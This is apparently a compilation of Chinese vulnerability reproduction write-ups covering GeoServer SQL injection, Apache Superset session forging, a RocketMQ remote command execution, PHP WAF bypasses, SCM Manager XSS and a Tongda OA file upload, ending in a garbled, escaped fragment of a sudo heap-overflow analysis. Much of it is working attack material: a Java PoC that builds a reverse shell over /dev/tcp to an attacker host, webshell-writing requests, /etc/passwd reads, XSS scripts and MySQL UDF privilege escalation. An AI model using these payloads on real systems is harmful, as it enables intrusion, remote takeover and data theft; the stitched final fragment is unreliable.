简介 GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。 影响版本 geoserver<2.18.7 2.19.0<=geoserver<2.19.7 2.20.0<=geoserver<2.20.7 2.21.0<=geoserver<2.21.4 2.22.0<=geoserver<2.22.2 环境搭建 安装方式有多种可以选择 windwos下载安装 https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download下载后只需要指定端口直接下载可完成安装 war包安装 tomcat下载地址 https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zipgeoserver下载地址 https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war 把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。 启动tomcat 访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081 http://localhost:8081/geoserver/web/ 分析 POC下载链接 https://github.com/win3zz/CVE-2023-25157python3 CVE-2023-25157.py http://localhost:8081 查看提交的补丁分析一下漏洞 https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块 属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程 public ConfigDatabase(            JDBCLoaderProperties properties,            DataSource dataSource,            XStreamInfoSerialBinding binding) {        this(properties, dataSource, binding, null);   }    public ConfigDatabase(            JDBCLoaderProperties properties,            final DataSource dataSource,            final XStreamInfoSerialBinding binding,            CacheProvider cacheProvider) {        this.properties = properties;        this.binding = binding;        this.template = new NamedParameterJdbcTemplate(dataSource); 通过使用参数化查询而不是字符串连接 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改         //sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");         //sql.append(") query\n");           sql.insert(                   0,                   "SELECT * FROM (SELECT query.*, rownum rnum FROM ("                           + (isDebugMode() ? "\n" : ""));           sql.append(") query");           appendIfDebug(sql, "\n", " "); 修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java 中定义 public boolean isDebugMode() {        return debugMode;   }    public void setDebugMode(boolean debugMode) {        this.debugMode = debugMode;   }    /** Escapes the contents of the SQL comment to prevent SQL injection. */    public String escapeComment(String comment) {        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");   }    /** Appends the objects to the SQL in a comment if debug mode is enabled. */    public StringBuilder appendComment(StringBuilder sql, Object... objects) {        if (!debugMode) {            return sql;       }        sql.append(" /* ");        for (Object object : objects) {            sql.append(escapeComment(String.valueOf(object)));       }        return sql.append(" */\n");   }    /** Appends the objects to the SQL in an comment if debug mode is enabled. */    public StringBuilder appendComment(Object sql, Object... objects) {        return appendComment((StringBuilder) sql, objects);   }    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {        return sql.append(debugMode ? ifEnabled : ifDisabled);   } 获取功能名POC GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 获取功能属性POC GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 构造恶意payload GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 这里引用一张图,geotools的注入漏洞 漏洞编号CVE-2023-25158,查看补丁发现 在类中添加该escapeBackslash字段https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符 // single quotes must be escaped to have a valid sql string String escaped = escapeLiteral(encoding); 调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号 public static String escapeLiteral(           String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {           // ' --> ''           String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");           if (escapeBackslash) {               // \ --> \\               escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");           }           if (escapeDoubleQuote) {               // " --> \"               escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");           }           return escaped; 至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章 https://blog.csdn.net/nmj2008/article/details/113869086修复方案 升级安全版本,目前已经有最新版本。
Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
漏洞简介 Apache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。‍ 环境搭建 可以通过 fofa 来搜索相关网站 "Apache Superset" 这里我们通过 docker 来在本地搭建环境 git clone https://github.com/apache/superset.git cd superset git checkout 2.0.0 TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up 官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找 https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache/superset:2.0.0 docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin docker exec -it superset superset db upgrade docker exec -it superset superset load_examples docker exec -it superset superset init 漏洞复现 利用脚本检测是否存在漏洞并生成相对应的 cookie 访问主页抓取数据包 将生成的 session 替换原本的 session 成功登录 接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。 经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; 漏洞分析 感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥 SECRET_KEYS = [   b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1   b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1   b'thisISaSECRET_1234',                            # deployment template   b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation   b'TEST_NON_DEV_SECRET'                            # docker compose ] Superset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。 整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。 首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中 >>> from flask_unsign import session >>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY") {'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'} >>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET') 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY' >>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM") {'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1} 漏洞修复 拒绝在非调试环境中使用默认密码启动 ‍
CVE-2023-33246命令执行复现分析
RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。 影响版本 <=RocketMQ 5.1.0 <=RocketMQ 4.9.5 环境搭建 docker pull apache/rocketmq:4.9.4 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv     //起nameserver 创建broker.conf,并且修改配置文件内容 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf   //起Broker docker ps http://127.0.0.1:10912/python3 check.py --ip 10.10.14.72 --port 9876 python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt 使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题 cd vulhub/rocketmq/CVE-2023-33246 docker-compose up -d POC如下 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "目的IP";        String targetPort = "10911";            String shellHost = "VPSIP";        String shellPort = "Listen-port";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 使用IDEA创建maven项目,创建xml文件下载依赖,下载地址 https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --> <dependency>    <groupId>org.apache.rocketmq</groupId>    <artifactId>rocketmq-tools</artifactId>    <version>4.9.4</version> </dependency> 修改POC import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "10.10.14.72";        String targetPort = "10911";            String shellHost = "10.10.14.72";        String shellPort = "65532";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 反弹结果 git clone https://github.com/SuperZero/CVE-2023-33246.git java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "222 >/root/2.txt" 进入容器,查看根部录下文件是已写入 java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "bash -i >& /dev/tcp/10.10.14.72/65532 0>&1" 反弹shell 漏洞分析 启动broker路由如下: main:50, BrokerStartup (org.apache.rocketmq.broker) start:55, BrokerStartup (org.apache.rocketmq.broker) start:1570, BrokerController (org.apache.rocketmq.broker) startBasicService:1527, BrokerController (org.apache.rocketmq.broker) start:57, FilterServerManager (org.apache.rocketmq.broker.filtersrv) 当在函数org.apache.rocketmq.broker.filtersrv.FilterServerManager61行 调用下面的createFilterServer方法,71行中看到从配置文件中获取参数。72行调用方法buildStartCommand 该方法中取到变量NamesrvAddr和 RocketmqHome,获取之后进行拼接cmd,在72行拿到拼接后的cmd 进入for循环后在org.apache.rocketmq.broker.filtersrv.FilterServerUtil中给的callshell方法去执行命令 该中间件本来就是每30秒执行一次,漏洞产生的就是修改了配置文件,变量被赋值为了恶意命令,导致了命令执行。
利用 PHP 特性绕 WAF 测试
在测试绕过 WAF 执行远程代码之前,首先构造一个简单的、易受攻击的远程代码执行脚本,内容如图: 第 6 行是一个比较明显的命令执行代码,第 3 行尝试拦截 system、exec 或 passthru 等函数(PHP 中有许多其他函数可以执行系统命令,这三个是最常见的)。 这个脚本部署在 Cloudflare WAF 和 ModSecurity + OWASP CRS3 之后。对于第一个测试,尝试读取 passwd 的内容; /cfwaf.php?code=system("cat /etc/passwd"); 可以看到,被 CloudFlare 拦截了,我们可以尝试使用未初始化变量的方式绕过,比如: cat /etc$u/passwd Cloudflare WAF 已被绕过,但是由于脚本检查敏感函数,所以被脚本拦截,那么如何绕过脚本的函数检测呢?我们看看关于字符串的 PHP 文档: https://secure.php.net/manual/en/language.types.string.phpPHP 字符串转义序列: [0–7]{1,3} 八进制表示法的字符序列,它会自动溢出以适应一个字节(例如“\400”===“\000”) \x[0–9A-Fa-f]{1,2} 十六进制字符序列(例如“\x41”) \u{[0–9A-Fa-f]+} Unicode 代码点序列,将作为该代码点的 UTF-8 表示输出到字符串(在 PHP 7.0.0 中添加) 不是每个人都知道 PHP 表示字符串的语法,而“PHP 变量函数”则成为我们绕过过滤器和规则的瑞士军刀。 PHP变量函数 PHP 支持变量函数的概念。这意味着如果变量名后面附加了圆括号,PHP 将寻找与变量求值结果同名的函数,并尝试执行它。除其他事项外,这可用于实现回调、函数表等。 这意味着语法如 $var(args); 和 "sting"(args; 等于 func(args); 。如果我可以通过使用变量或字符串来调用函数,则意味着我可以使用转义序列而不是函数名。这里有一个例子: 第三种语法是十六进制符号的转义字符序列,PHP 将其转换为字符串“system”,然后使用参数“ls”转换为函数系统。让我们尝试使用易受攻击的脚本: 此技术不适用于所有 PHP 函数,变量函数不适用于 echo、print、unset()、isset()、empty()、include、require 。利用包装函数将这些构造中的任何一个用作变量函数。 改进用户输入检测 如果我从易受攻击脚本的用户输入中排除双引号和单引号等字符,会发生什么情况?即使不使用双引号也可以绕过它吗?让我们试试: 正如您在第三行看到的,现在脚本阻止在 $_GET[code] 查询字符串参数中使用“和”。我以前的有效负载现在应该被阻止: 幸运的是,在 PHP 中,我们并不总是需要引号来表示字符串。PHP 使您能够声明元素的类型,例如 $a = (string)foo; 在这种情况下,$a 包含字符串“foo”。此外,圆括号内没有特定类型声明的任何内容都被视为字符串: 在这种情况下,我们有两种方法可以绕过新过滤器:第一种是使用类似 (system)(ls) 的方法;但是我们不能在代码参数中使用“system”,所以我们可以像 (sy.(st).em)(ls); 一样连接字符串。第二种是使用 $GET 变量。如果我发送像 ?a=system&b=ls&code=$GETa 这样的请求;结果是:$GET[a] 将替换为字符串“system”,$GET[b] 将替换为字符串“ls”,我将能够绕过所有过滤器! 让我们尝试使用第一个有效负载 (sy.(st).em)(whoami); 和第二个有效载荷 ? ?a=system&b=cat+/etc&c=/passwd&code=$\_GET[a]($\_GET[b].$\_GET[c]); 在这种情况下,没有用,但您甚至可以在函数名称和参数内部插入注释(这可能有助于绕过阻止特定 PHP 函数名称的 WAF 规则集)。以下所有语法均有效: get_defined_functions 函数 此 PHP 函数返回一个多维数组,其中包含所有已定义函数的列表,包括内置(内部)函数和用户定义函数。内部函数可以通过 $arr[“internal”] 访问,用户定义的函数可以使用 $arr[“user”] 访问。例如: 这可能是另一种无需使用其名称即可访问系统功能的方法。如果我对“系统”进行 grep,我可以发现它的索引号并将其用作我的代码执行的字符串: 显然,这应该对我们的 Cloudflare WAF 和脚本过滤器有效: 字符数组 PHP 中的每个字符串都可以用作字符数组(几乎像 Python 那样),您可以使用语法 $string[2] 或 $string[-3] 引用单个字符串字符。这可能是另一种规避阻止 PHP 函数名称的规则的方法。例如,使用这个字符串 $a=”elmsty/ “; 我可以编写语法系统(“ls /tmp”); 如果幸运的话,您可以在脚本文件名中找到所需的所有字符。使用相同的技术,您可以使用类似的方法选择所需的所有字符 OWASP CRS3 有了 OWASP CRS3,一切都变得更难了。首先,使用之前看到的技术,我只能绕过第一个偏执级别,这太神奇了!因为 Paranoia Level 1 只是我们可以在 CRS3 中找到的规则的一小部分,所以这个级别旨在防止任何误报。对于 2 级偏执狂,由于规则 942430“受限 SQL 字符异常检测(args):超出特殊字符数”,所有事情都变得困难。我能做的只是执行一个不带参数的命令,如“ls”、“whoami”等。但我无法像使用 Cloudflare WAF 那样执行类似 system(“cat /etc/passwd”) 的命令:
SCM Manager XSS漏洞复现(CVE-2023-33829)
一、漏洞描述 漏洞简述 SCM-Manager 是一款开源的版本库管理软件,同时支持 subversion、mercurial、git 的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理 ,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目最初只是被用于研究目的,而在其2.0版本之后,被Cloudogu公司接手管理和开发了其各种代码库,以便为各个公司提供专业的企业级支持。 该漏洞主要为攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。 漏洞影响范围 供应商:Cloudogu 产品:SCM Manager 确认受影响版本:SCM Manager 1.2 <= 1.60 修复版本:>1.60 最新版本为2.43.1 二、漏洞复现实战 环境搭建 docker镜像: https://bitbucket.org/sdorra/docker-scm-manager/src/master/利用shell脚本搭建 shell: #!/bin/bash mkdir /var/lib/scm chown 1000:1000 /var/lib/scm docker run -v /var/lib/scm:/var/lib/scm -p 8080:8080 sdorra/scm-manager 漏洞复现 首先访问SCM Manager,需身份认证 Username : scmadmin Password: scmadmin repositories repository功能下Description字段该漏洞可利用 创建新repository,并payload进行利用 Git类型: Subversion类型: Users User功能下Display Name字段该漏洞可利用 创建新repository,并payload进行利用 可以看到新创建的账号中Display Name属性下显示异常,且XSS payload利用成功 Groups Group功能下Description字段该漏洞可利用 另外可以根据POC进行利用 POC: import requests import argparse import sys # Main menu parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit') parser.add_argument("-u", "--user", help="Admin user or user with write permissions") parser.add_argument("-p", "--password", help="password of the user") args = parser.parse_args() # Credentials user = sys.argv[2] password = sys.argv[4] # Global Variables main_url = "http://localhost:8080/scm" # Change URL if its necessary auth_url = main_url + "/api/rest/authentication/login.json" users = main_url + "/api/rest/users.json" groups = main_url + "/api/rest/groups.json" repos = main_url + "/api/rest/repositories.json" # Create a session session = requests.Session() # Credentials to send post_data={  'username': user, # change if you have any other user with write permissions  'password': password # change if you have any other user with write permissions } r = session.post(auth_url, data=post_data) if r.status_code == 200:  print("[+] Authentication successfully") else:  print("[-] Failed to authenticate")  sys.exit(1) new_user={  "name": "newUser",  "displayName": "<img src=x onerror=alert('XSS')>",  "mail": "",  "password": "",  "admin": False,  "active": True,  "type": "xml" } create_user = session.post(users, json=new_user) print("[+] User with XSS Payload created") new_group={  "name": "newGroup",  "description": "<img src=x onerror=alert('XSS')>",  "type": "xml" } create_group = session.post(groups, json=new_group) print("[+] Group with XSS Payload created") new_repo={  "name": "newRepo",  "type": "svn",  "contact": "",  "description": "<img src=x onerror=alert('XSS')>",  "public": False } create_repo = session.post(repos, json=new_repo) print("[+] Repository with XSS Payload created") 漏洞修复 建议更新至SCM Manager最新版本,目前为2.43.1 结束语 本文主要介绍了CVE-2023-33829 SCM Manager XSS漏洞复现过程,漏洞主要体现于攻击者利用其多个功能的描述字段的代码缺陷,构造payload进行XSS攻击。 本漏洞可参考之处为敏感功能避免重复调用非敏感功能代码,并做好过滤与校验,进行必要的安全测试。
某OA 11.10 未授权任意文件上传
漏洞简介 之前也对通达 oa 做过比较具体的分析和漏洞挖掘,前几天看到通达 oa 11.10 存在未授权任意文件上传漏洞,于是也打算对此进行复现和分析。 环境搭建 https://www.tongda2000.com/download/p2019.php下载地址 :https://cdndown.tongda2000.com/oa/2019/TDOA11.10.exe 查看版本信息 漏洞复现 利用方式一 http://192.168.222.128/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[c]))%3B/*&id=19&module=Carouselimage 利用方式二 无法直接写入带有变量的 php 文件 所以首先利用 无参 webshell <?php @eval(next(getallheaders())); GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/MYOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage HTTP/1.1 Host: 192.168.222.128 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 上传成功后再利用第一次生成的恶意文件再生成文件。 GET /general/test.php HTTP/1.1 Host: 192.168.121.147:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: file_put_contents('test1.php','<?php @eval($_REQUEST[1]);'); Content-Length: 28 Upgrade-Insecure-Requests: 1 但是无法直接直接命令,这是因为权限过低的原因 所以想要进一步的操作,就需要提权。 通过查看配置文件看到 mysql 数据库的密码。 利用蚁剑连接数据库。 查看 mysql 的版本。 SqlMap 中集成了对应的提权文件,不过需要先进行解密操作。 udf.dll的是经过编码运算的,所以需要有一个解密脚本,在这个路径下 sqlmap-master\extra\cloak 对应的 dll 文件路径 sqlmap-master\data\udf\mysql\windows\64 执行解码操作 cloak.py -d -i sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_ 然后将解码好的文件上传到 mysql/lib/plugin/ 路径下 create function sys_eval returns string soname 'lib_mysqludf_sys.dll'; select sys_eval("whoami"); 漏洞分析 general\appbuilder\modules\portal\controllers\GatewayController.php#actionGetdata 首先判断是否存在参数 id 之后根据 module 的值依次执行 GetData与toUTF8方法。 general\appbuilder\modules\portal\models\PortalComponent.php#GetData 根据 id 查询,返回相对对应的数值 $activeTab 的值是从外部获取的。 根据不同的 $module 调用不同的get_data 方法 general\appbuilder\modules\portal\components\AppDesignComponents.php#data_analysis general\appbuilder\modules\appdesign\models\AppUtils.php#toUTF8 这里有一点类似于宽字节注入,利用类型的转换,使得传入的单引号转移后又被编码转换成汉字,最终使得单引号逃逸出来。最后实现命令执行。
)\r\n612: *dst++ = '\\\\';\r\n613:    *dst++ = *src;\r\n614: }\r\n   ...\r\n622: }\r\n\r\n在parse_args函数的开头,会检测是以sudo还是以sudoedit进行调用,若使用sudoedit调用,那么会直接给mode设置上MODE_EDIT,从而绕过了mode==NULL时,需要将flag设置为MODE_RUN,因此使用sudoedit -s,可以使得flag即设置MODE_EDIT又设置MODE_SHELL\r\n\r\nFile: src\\parse_args.c\r\n   ...\r\n265:     proglen = strlen(progname);\r\n266:     if (proglen \u003E 4 && strcmp(progname + proglen - 4, \"edit\") == 0) {\r\n267: progname = \"sudoedit\";\r\n268: mode = MODE_EDIT;\r\n269: sudo_settings[ARG_SUDOEDIT].value = \"true\";\r\n270:     }\r\n\r\n想要进入set_cmnd第二条路径就是flag设置为MODE_EDIT | MODE_SHELL,这样的输入就能够绕过parse_args函数而禁止进入set_cmd函数,这也是为什么sudo的堆溢出,需要使用sudoedit -s触发,而不是sudo -s\r\n\r\nFile: plugins\\sudoers\\sudoers.c\r\n ...\r\n819:     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n   ...\r\n858:    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { \u002F\u002F需要满足标志位的设置才能进入转义的流程\r\n\r\n漏洞利用\r\n\r\n漏洞利用分析\r\n\r\n由于程序存在一个明显的堆溢出漏洞,因此需要梳理一下堆溢出如何进行利用。\r\n\r\n• 找到一个堆块,该堆块的值会影响程序执行的流程,这里称之为可利用堆块。\r\n\r\n• 找到可以随意控制堆块位置的操作,将漏洞函数申请的堆块部署在可利用堆块的上方,当堆溢出触发时,可以将可利用堆块的值被改写成我们预期的值。\r\n\r\n可利用堆块\r\n\r\nnss是用于解析和获取不同类型的名称信息,例如如何通过用名称去获取用户信息,在sudo需要获取用户信息时则需要调用nss。\r\n\r\n在使用nss去获取信息时,其实是通过不同的动态链接库去执行相应的行为,而这些库的文件名则存在于\u002Fetc\u002Fnsswitch.conf的配置文件中\r\n\r\n例如想要查询passwd文件则需要用到libnss_files.so与libnss_systemed.so\r\n\r\n那么如何加载这些动态链接库则需要依赖于nss_load_library函数,而且这些相关信息都被存放在service_user结构体中,而该结构体是存放在堆内存中的。\r\n\r\n接着得先研究该结构体的值是否会影响程序的执行流程,代码如下。\r\n\r\nFile: nsswitch.c\r\n327: static int\r\n328: nss_load_library (service_user *ni)\r\n329: 